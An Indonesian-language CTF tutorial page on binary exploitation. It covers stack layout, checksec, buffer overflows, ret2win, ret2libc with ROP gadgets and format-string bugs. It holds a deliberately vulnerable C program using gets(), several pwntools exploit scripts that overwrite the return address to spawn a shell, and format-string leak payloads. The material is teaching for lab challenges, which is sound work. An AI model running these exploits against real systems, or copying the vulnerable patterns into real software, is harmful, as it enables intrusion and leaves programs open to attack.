Pwn / Binary Exploitation
Exploit program buat dapetin shell atau flag
Kategori Paling Susah
Pwn butuh waktu paling lama buat dipelajarin. Kalo waktu terbatas, fokus ke Web/Misc dulu. Tapi kalo ada waktu, basic buffer overflow sering keluar di CTF pemula.
Tools Yang Perlu
Pahami Dulu: Memory Layout
MudahGimana program nyimpen data di memori
1┌─────────────────────────┐ Alamat tinggi2│ Stack │ ← variabel lokal, return address3│ ↓ │ (tumbuh ke bawah)4├─────────────────────────┤5│ ↑ │6│ Heap │ ← malloc(), dynamic allocation7│ │ (tumbuh ke atas)8├─────────────────────────┤9│ BSS │ ← variabel global uninitialized10├─────────────────────────┤11│ Data │ ← variabel global initialized12├─────────────────────────┤13│ Text │ ← kode program (instructions)14└─────────────────────────┘ Alamat rendah15 16Yang penting:17- Stack tempat nyimpen variabel lokal18- Return address juga di stack19- Kalo bisa overwrite return address = bisa kontrol alur programInti Buffer Overflow
Kalo program copy data ke buffer tanpa cek panjangnya, kita bisa nulis melebihi buffer dan overwrite data lain di stack, termasuk return address.
Langkah Pertama: Cek Binary
MudahSebelum exploit, harus tau dulu binary-nya punya proteksi apa
1# File type2file vuln3# vuln: ELF 64-bit LSB executable, x86-64...4 5# Strings di binary6strings vuln | grep -i flag7strings vuln | grep -i password8 9# Cek proteksi10checksec vuln11# atau12checksec --file=vuln1RELRO: Partial/Full → apakah GOT bisa dioverwrite2Stack: No canary found → BAGUS, bisa buffer overflow3NX: NX enabled → stack gak executable (no shellcode)4PIE: No PIE → BAGUS, alamat tetap (predictable)5ASLR: (cek sistem) → alamat random tiap run6 7Kondisi ideal buat pemula:8- No canary → bisa overflow9- No PIE → alamat bisa diprediksi10- NX disabled → bisa jalanin shellcode (jarang)11 12Biasanya soal CTF pemula: No canary + No PIEBuffer Overflow Dasar
MudahTeknik paling basic tapi paling penting
1#include <stdio.h>2 3void win() {4 system("/bin/sh"); // Target kita!5}6 7void vuln() {8 char buffer[64];9 gets(buffer); // BAHAYA: gak cek panjang input10}11 12int main() {13 vuln();14 return 0;15}1┌────────────────────┐2│ return address │ ← balik ke main()3├────────────────────┤4│ saved RBP │ ← base pointer lama5├────────────────────┤6│ │7│ buffer[64] │ ← input kita masuk sini8│ │9└────────────────────┘10 11Kalo input kita lebih dari 64 bytes:12- Overflow ke saved RBP13- Terus overflow ke return address14- Ganti return address ke win()1from pwn import *2 3# Jalanin binary4p = process('./vuln')5# atau: p = remote('host', port)6 7# Cari alamat win()8# Cara 1: objdump9# objdump -d vuln | grep win10# Cara 2: pwntools11elf = ELF('./vuln')12win_addr = elf.symbols['win']13print(f"win() ada di: {hex(win_addr)}")14 15# Bikin payload16# 64 bytes buffer + 8 bytes RBP + return address17payload = b'A' * 64 # isi buffer18payload += b'B' * 8 # overwrite RBP19payload += p64(win_addr) # overwrite return address20 21# Kirim22p.sendline(payload)23p.interactive() # dapet shell!Tips Cari Offset
Kadang gak tau persis berapa byte sampe return address. Pake cyclic pattern:
1# Generate pattern2cyclic(100) # bikin pattern 100 byte3 4# Di GDB, kalo crash di alamat tertentu:5# Program received signal SIGSEGV, 6# Segmentation fault at 0x6161616c7 8# Convert ke offset9cyclic_find(0x6161616c) # output: 7610# Berarti offset ke return address = 76 bytesret2win
MudahReturn to win function - yang paling gampang
Kalo ada fungsi yang print flag atau spawn shell, tinggal redirect return address ke situ. Ini yang paling sering keluar di CTF pemula.
1# List semua fungsi yang ada2objdump -t vuln | grep -E "(win|flag|shell|system)"3 4# Atau pake nm5nm vuln | grep -E "(win|flag|shell)"6 7# Disassemble fungsi tertentu8objdump -d vuln | grep -A 20 "<win>"1from pwn import *2 3# Setup4binary = './vuln'5elf = ELF(binary)6 7# Cari alamat target8win = elf.symbols['win'] # atau: elf.symbols['get_flag']9 10# Offset ke return address (harus dicari dulu)11offset = 72 # contoh12 13# Payload14payload = flat(15 b'A' * offset,16 win17)18 19# Exploit20p = process(binary)21p.sendline(payload)22p.interactive()ret2libc
MenengahKalo NX enabled, panggil fungsi di libc
Kalo stack gak bisa diexecute (NX enabled), kita bisa "pinjam" fungsi dari libc kayak system().
1from pwn import *2 3# Binary pake libc4libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')5elf = ELF('./vuln')6 7# Alamat di libc (kalo ASLR off)8system_addr = libc.symbols['system']9binsh_addr = next(libc.search(b'/bin/sh'))10 11# x64 calling convention: argument di RDI12# Jadi perlu gadget: pop rdi; ret13pop_rdi = 0x401234 # cari pake ROPgadget14 15offset = 7216 17payload = flat(18 b'A' * offset,19 pop_rdi,20 binsh_addr,21 system_addr22)23 24p = process('./vuln')25p.sendline(payload)26p.interactive()1# Install2pip install ROPgadget3 4# Cari gadget di binary5ROPgadget --binary vuln | grep "pop rdi"6ROPgadget --binary vuln | grep "ret"7 8# Cari di libc9ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi"Format String Bug
MenengahVulnerability lain yang sering muncul
1// Salah:2printf(user_input); // BAHAYA!3 4// Bener:5printf("%s", user_input); // Aman1# Leak data dari stack2AAAA.%x.%x.%x.%x.%x.%x3# Output: AAAA.f7ff...41414141...4# 41414141 = "AAAA" di stack5 6# Leak langsung posisi tertentu7%6$x # Leak posisi ke-68%1$p # Leak pointer posisi 19 10# Read dari alamat tertentu11# Taruh alamat di awal, terus %s12[alamat]%[offset]$s13 14# Write ke alamat (advanced)15%n # nulis jumlah char yang udah diprint1from pwn import *2 3p = process('./vuln')4 5# Leak stack6p.sendline(b'%p.%p.%p.%p.%p.%p.%p.%p')7leak = p.recvline()8print(leak)9 10# Biasanya ada:11# - Alamat libc (bisa bypass ASLR)12# - Canary (kalo ada)13# - Return address